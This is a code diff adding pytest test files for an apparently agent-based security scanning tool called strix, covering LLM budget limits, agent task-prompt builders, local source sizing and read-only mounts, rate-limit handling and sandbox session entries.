patch("strix.core.hooks.get_global_report_state", return_value=state),
pytest.raises(BudgetExceededError),
):
await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
@pytest.mark.asyncio
async def test_over_budget_raises() -> None:
hooks = _make_hooks(10.0)
state = _make_report_state(10.01)
with (
patch("strix.core.hooks.get_global_report_state", return_value=state),
pytest.raises(BudgetExceededError),
):
await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
@pytest.mark.asyncio
async def test_budget_check_uses_live_cost_accessor() -> None:
# The check must read the live ledger, not the persisted run-record snapshot,
# so it stays accurate even when a save fails after a usage record.
hooks = _make_hooks(5.0)
state = _make_report_state(6.0)
with (
patch("strix.core.hooks.get_global_report_state", return_value=state),
pytest.raises(BudgetExceededError),
):
await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
state.get_total_llm_cost.assert_called_once()
state.get_total_llm_usage.assert_not_called()
@pytest.mark.asyncio
async def test_error_message_includes_amounts() -> None:
hooks = _make_hooks(5.0)
state = _make_report_state(7.1234)
with patch("strix.core.hooks.get_global_report_state", return_value=state):
with pytest.raises(BudgetExceededError, match=r"\$5\.00") as exc_info:
await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
assert "7.1234" in str(exc_info.value)
@pytest.mark.asyncio
async def test_no_raise_when_report_state_none() -> None:
hooks = _make_hooks(1.0)
with patch("strix.core.hooks.get_global_report_state", return_value=None):
# Should return early without raising, even with budget set
await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
@pytest.mark.parametrize("bad_budget", [0.0, -0.01, -5.0])
def test_non_positive_budget_rejected(bad_budget: float) -> None:
with pytest.raises(ValueError, match="greater than 0"):
ReportUsageHooks(model="test-model", max_budget_usd=bad_budget)
def test_budget_exceeded_error_is_runtime_error() -> None:
err = BudgetExceededError("test")
assert isinstance(err, RuntimeError)
+114
View File
@@ -0,0 +1,114 @@
"""Tests for pure input builders in strix.core.inputs."""
from __future__ import annotations
from itertools import pairwise
from typing import Any
import pytest
from strix.core.inputs import build_root_task, child_initial_input
def _child_kwargs(parent_history: list[Any]) -> dict[str, Any]:
return {
"name": "scout",
"child_id": "agent-2",
"parent_id": "agent-1",
"task": "Audit the login flow.",
"parent_history": parent_history,
}
def test_child_initial_input_single_message_without_history() -> None:
result = child_initial_input(**_child_kwargs([]))
assert len(result) == 1
assert result[0]["role"] == "user"
content = result[0]["content"]
assert "agent scout (agent-2)" in content
assert "Audit the login flow." in content
assert "Inherited context" not in content
def test_child_initial_input_single_message_with_history() -> None:
history = [{"role": "assistant", "content": "previous work"}]
result = child_initial_input(**_child_kwargs(history))
assert len(result) == 1
assert result[0]["role"] == "user"
content = result[0]["content"]
assert "Inherited context from parent" in content
assert "previous work" in content
assert "agent scout (agent-2)" in content
assert "Audit the login flow." in content
@pytest.mark.parametrize(
"parent_history",
[[], [{"role": "assistant", "content": "previous work"}]],
)
def test_child_initial_input_no_consecutive_same_role(parent_history: list[Any]) -> None:
result = child_initial_input(**_child_kwargs(parent_history))
roles = [msg["role"] for msg in result]
assert all(prev != nxt for prev, nxt in pairwise(roles))
def test_build_root_task_empty_config() -> None:
assert build_root_task({}) == ""
def test_build_root_task_repository_target() -> None:
config = {
"targets": [
{
"type": "repository",
"details": {
"target_repo": "https://example.com/repo.git",
"cloned_repo_path": "/workspace/repo",
"workspace_subdir": "repo",
},
},
],
}
task = build_root_task(config)
assert "Repositories:" in task
assert "/workspace/repo" in task
assert "https://example.com/repo.git" in task
def test_build_root_task_web_application_with_instructions() -> None:
config = {
"targets": [
{"type": "web_application", "details": {"target_url": "https://app.example.com"}},
],
"user_instructions": "Focus on auth.",
}
task = build_root_task(config)
assert "URLs:" in task
assert "https://app.example.com" in task
assert "Special instructions: Focus on auth." in task
def test_build_root_task_diff_scope() -> None:
config = {
"targets": [],
"diff_scope": {
"active": True,
"repos": [
{
"workspace_subdir": "repo",
"analyzable_files_count": 3,
"deleted_files_count": 2,
},
],
},
}
task = build_root_task(config)
assert "Scope Constraints:" in task
assert "3 changed file(s)" in task
assert "2 deleted file(s)" in task
+188
View File
@@ -0,0 +1,188 @@
"""Tests for local-source sizing and ``--mount`` target helpers in interface.utils."""
from __future__ import annotations
import logging
import os
import sys
from typing import TYPE_CHECKING, Any
import pytest
if TYPE_CHECKING:
from pathlib import Path
from strix.interface.utils import (
build_mount_targets_info,
collect_local_sources,
dedupe_local_targets,
directory_size_bytes,
find_oversized_local_targets,
)
def _write_file(path: Path, size: int) -> None:
path.write_bytes(b"x" * size)
def _local_target(target_path: str, *, mount: bool = False) -> dict[str, Any]:
details: dict[str, Any] = {"target_path": target_path, "workspace_subdir": "repo"}
if mount:
details["mount"] = True
return {"type": "local_code", "details": details, "original": target_path}
def test_directory_size_empty_dir_is_zero(tmp_path: Path) -> None:
assert directory_size_bytes(tmp_path) == 0
def test_directory_size_sums_flat_and_nested_files(tmp_path: Path) -> None:
_write_file(tmp_path / "a.txt", 100)
nested = tmp_path / "sub" / "deep"
nested.mkdir(parents=True)
_write_file(nested / "b.txt", 250)
assert directory_size_bytes(tmp_path) == 350
def test_directory_size_skips_symlinks(tmp_path: Path) -> None:
_write_file(tmp_path / "real.txt", 100)
(tmp_path / "link.txt").symlink_to(tmp_path / "real.txt")
# The symlink target is counted once via the real file, not doubled.
assert directory_size_bytes(tmp_path) == 100
@pytest.mark.skipif(sys.platform == "win32", reason="relies on POSIX permissions")
def test_directory_size_logs_and_skips_unreadable_subdir(
tmp_path: Path, caplog: pytest.LogCaptureFixture
) -> None:
if hasattr(os, "geteuid") and os.geteuid() == 0:
pytest.skip("root bypasses directory permissions")
_write_file(tmp_path / "top.txt", 100)
locked = tmp_path / "locked"
locked.mkdir()
_write_file(locked / "secret.bin", 9999)
locked.chmod(0o000)
try:
with caplog.at_level(logging.WARNING):
size = directory_size_bytes(tmp_path)
finally:
locked.chmod(0o755)
# The unreadable subtree is excluded (not silently treated as readable) and
# the omission is logged rather than vanishing without a trace.
assert size == 100
assert any("Could not read" in record.message for record in caplog.records)
def test_find_oversized_returns_nothing_under_limit(tmp_path: Path) -> None:
_write_file(tmp_path / "a.txt", 100)
targets = [_local_target(str(tmp_path))]
assert find_oversized_local_targets(targets, max_bytes=1000) == []
def test_find_oversized_returns_target_over_limit(tmp_path: Path) -> None:
_write_file(tmp_path / "big.bin", 500)
targets = [_local_target(str(tmp_path))]
result = find_oversized_local_targets(targets, max_bytes=100)
assert result == [(str(tmp_path), 500)]
def test_find_oversized_ignores_mounted_targets(tmp_path: Path) -> None:
_write_file(tmp_path / "big.bin", 500)
targets = [_local_target(str(tmp_path), mount=True)]
assert find_oversized_local_targets(targets, max_bytes=100) == []
def test_find_oversized_ignores_non_local_targets() -> None:
targets = [{"type": "web_application", "details": {"target_url": "https://x"}}]
assert find_oversized_local_targets(targets, max_bytes=1) == []
@pytest.mark.parametrize("disabled", [0, -1])
def test_find_oversized_disabled_for_non_positive_limit(tmp_path: Path, disabled: int) -> None:
_write_file(tmp_path / "big.bin", 500)
targets = [_local_target(str(tmp_path))]
assert find_oversized_local_targets(targets, max_bytes=disabled) == []
def test_collect_local_sources_propagates_mount_flag() -> None:
copied = _local_target("/copied")
copied["details"]["workspace_subdir"] = "copied"
mounted = _local_target("/mounted", mount=True)
mounted["details"]["workspace_subdir"] = "mounted"
sources = collect_local_sources([copied, mounted])
by_path = {s["source_path"]: s for s in sources}
assert by_path["/copied"]["mount"] is False
assert by_path["/mounted"]["mount"] is True
def test_collect_local_sources_repository_is_never_mounted() -> None:
repo = {
"type": "repository",
"details": {"cloned_repo_path": "/clone", "workspace_subdir": "clone"},
}
sources = collect_local_sources([repo])
assert sources == [{"source_path": "/clone", "workspace_subdir": "clone", "mount": False}]
def test_build_mount_targets_info_for_valid_dir(tmp_path: Path) -> None:
result = build_mount_targets_info([str(tmp_path)])
assert len(result) == 1
entry = result[0]
assert entry["type"] == "local_code"
assert entry["details"]["mount"] is True
assert entry["details"]["target_path"] == str(tmp_path.resolve())
def test_build_mount_targets_info_rejects_missing_path(tmp_path: Path) -> None:
missing = tmp_path / "does-not-exist"
with pytest.raises(ValueError, match="not an existing directory"):
build_mount_targets_info([str(missing)])
def test_build_mount_targets_info_rejects_file(tmp_path: Path) -> None:
file_path = tmp_path / "a-file.txt"
_write_file(file_path, 10)
with pytest.raises(ValueError, match="not an existing directory"):
build_mount_targets_info([str(file_path)])
@pytest.mark.parametrize("empty", ["", " "])
def test_build_mount_targets_info_rejects_empty_path(empty: str) -> None:
# An empty path would otherwise resolve to the current working directory
# and silently bind-mount it into the sandbox.
with pytest.raises(ValueError, match="must not be empty"):
build_mount_targets_info([empty])
def test_dedupe_keeps_distinct_targets_in_order() -> None:
targets = [
_local_target("/a"),
{"type": "web_application", "details": {"target_url": "https://x"}},
_local_target("/b", mount=True),
]
assert dedupe_local_targets(targets) == targets
def test_dedupe_mount_supersedes_copied_same_path() -> None:
copied = _local_target("/repo")
mounted = _local_target("/repo", mount=True)
# Copied first, then mounted: the single surviving entry is the mount.
result = dedupe_local_targets([copied, mounted])
assert len(result) == 1
assert result[0]["details"]["mount"] is True
# Order-independent: mounted first, copied second also yields the mount.
result_rev = dedupe_local_targets([mounted, copied])
assert len(result_rev) == 1
assert result_rev[0]["details"]["mount"] is True
def test_dedupe_collapses_duplicate_mounts() -> None:
result = dedupe_local_targets(
[_local_target("/repo", mount=True), _local_target("/repo", mount=True)]
)
assert len(result) == 1
+84
View File
@@ -0,0 +1,84 @@
"""Tests for graceful handling of persistent RateLimitError in run_strix_scan."""
from __future__ import annotations
import logging
import types
from typing import Any
import httpx
import pytest
from openai import RateLimitError
import strix.tools.notes.tools as notes_tools
import strix.tools.todo.tools as todo_tools
from strix.core import runner
from strix.core.agents import AgentCoordinator
def _make_rate_limit_error() -> RateLimitError:
request = httpx.Request("POST", "https://api.openai.com/v1/responses")
response = httpx.Response(status_code=429, request=request)
return RateLimitError("rate limited", response=response, body=None)
@pytest.mark.asyncio
async def test_persistent_rate_limit_stops_gracefully(
monkeypatch: pytest.MonkeyPatch, tmp_path: Any, caplog: pytest.LogCaptureFixture
) -> None:
"""A persistent RateLimitError stops the scan (root -> 'stopped') without raising."""
monkeypatch.setattr(runner, "run_dir_for", lambda _scan_id: tmp_path)
monkeypatch.setattr(runner, "runtime_state_dir", lambda _run_dir: tmp_path)
monkeypatch.setattr(runner, "setup_scan_logging", lambda _run_dir: lambda: None)
monkeypatch.setattr(runner, "set_scan_id", lambda _scan_id: None)
settings = types.SimpleNamespace(
llm=types.SimpleNamespace(model="openai/gpt-4o", reasoning_effort="high")
)
monkeypatch.setattr(runner, "load_settings", lambda: settings)
monkeypatch.setattr(runner, "configure_sdk_model_defaults", lambda _settings: None)
monkeypatch.setattr(
runner, "uses_chat_completions_tool_schema", lambda _model, _settings: False
)
monkeypatch.setattr(todo_tools, "hydrate_todos_from_disk", lambda _state_dir: None)
monkeypatch.setattr(notes_tools, "hydrate_notes_from_disk", lambda _state_dir: None)
async def _create_or_reuse(*_args: Any, **_kwargs: Any) -> dict[str, Any]:
return {"client": object(), "session": object(), "caido_client": None}
async def _cleanup(*_args: Any, **_kwargs: Any) -> None:
return None
monkeypatch.setattr(runner.session_manager, "create_or_reuse", _create_or_reuse)
monkeypatch.setattr(runner.session_manager, "cleanup", _cleanup)
monkeypatch.setattr(runner, "build_root_task", lambda _scan_config: "task")
monkeypatch.setattr(runner, "build_scope_context", lambda _scan_config: "")
monkeypatch.setattr(runner, "make_model_settings", lambda *_args, **_kwargs: object())
monkeypatch.setattr(runner, "build_strix_agent", lambda **_kwargs: object())
monkeypatch.setattr(runner, "make_child_factory", lambda **_kwargs: lambda **_k: object())
monkeypatch.setattr(runner, "open_agent_session", lambda _root_id, _db: object())
async def _raise_rate_limit(*_args: Any, **_kwargs: Any) -> None:
raise _make_rate_limit_error()
monkeypatch.setattr(runner, "run_agent_loop", _raise_rate_limit)
coordinator = AgentCoordinator()
with caplog.at_level(logging.WARNING):
result = await runner.run_strix_scan(
scan_config={"targets": [], "scan_mode": "deep"},
scan_id="scan-test",
image="img",
coordinator=coordinator,
)
assert result is None
root_ids = [aid for aid, parent in coordinator.parent_of.items() if parent is None]
assert len(root_ids) == 1
assert coordinator.statuses[root_ids[0]] == "stopped"
# the resume hint must carry the real scan id, not a literal placeholder
assert "strix --resume scan-test" in caplog.text
assert "<run_name>" not in caplog.text
+67
View File
@@ -0,0 +1,67 @@
"""Tests for build_session_entries: splitting copied vs bind-mounted sources."""
from __future__ import annotations
from typing import TYPE_CHECKING, Any
from agents.sandbox.entries import LocalDir
from strix.runtime.session_manager import build_session_entries
if TYPE_CHECKING:
from pathlib import Path
def _source(subdir: str, path: str, *, mount: bool = False) -> dict[str, Any]:
return {"source_path": path, "workspace_subdir": subdir, "mount": mount}
def test_copied_source_becomes_localdir_entry(tmp_path: Path) -> None:
entries, bind_mounts = build_session_entries([_source("repo", str(tmp_path))])
assert bind_mounts == []
assert isinstance(entries["repo"], LocalDir)
assert entries["repo"].src == tmp_path.resolve()
def test_mounted_source_becomes_bind_mount(tmp_path: Path) -> None:
entries, bind_mounts = build_session_entries([_source("repo", str(tmp_path), mount=True)])
assert entries == {}
assert bind_mounts == [
{
"source": str(tmp_path.resolve()),
"target": "/workspace/repo",
"read_only": True,
}
]
def test_mixed_sources_split_correctly(tmp_path: Path) -> None:
copied = tmp_path / "copied"
mounted = tmp_path / "mounted"
copied.mkdir()
mounted.mkdir()
entries, bind_mounts = build_session_entries(
[
_source("copied", str(copied)),
_source("mounted", str(mounted), mount=True),
]
)
assert list(entries) == ["copied"]
assert isinstance(entries["copied"], LocalDir)
assert [m["target"] for m in bind_mounts] == ["/workspace/mounted"]
def test_incomplete_sources_are_skipped() -> None:
entries, bind_mounts = build_session_entries(
[
{"source_path": "", "workspace_subdir": "x"},
{"source_path": "/p", "workspace_subdir": ""},
]
)
assert entries == {}
assert bind_mounts == []
Generated
+1116 -959
View File
File diff suppressed because it is too large Load Diff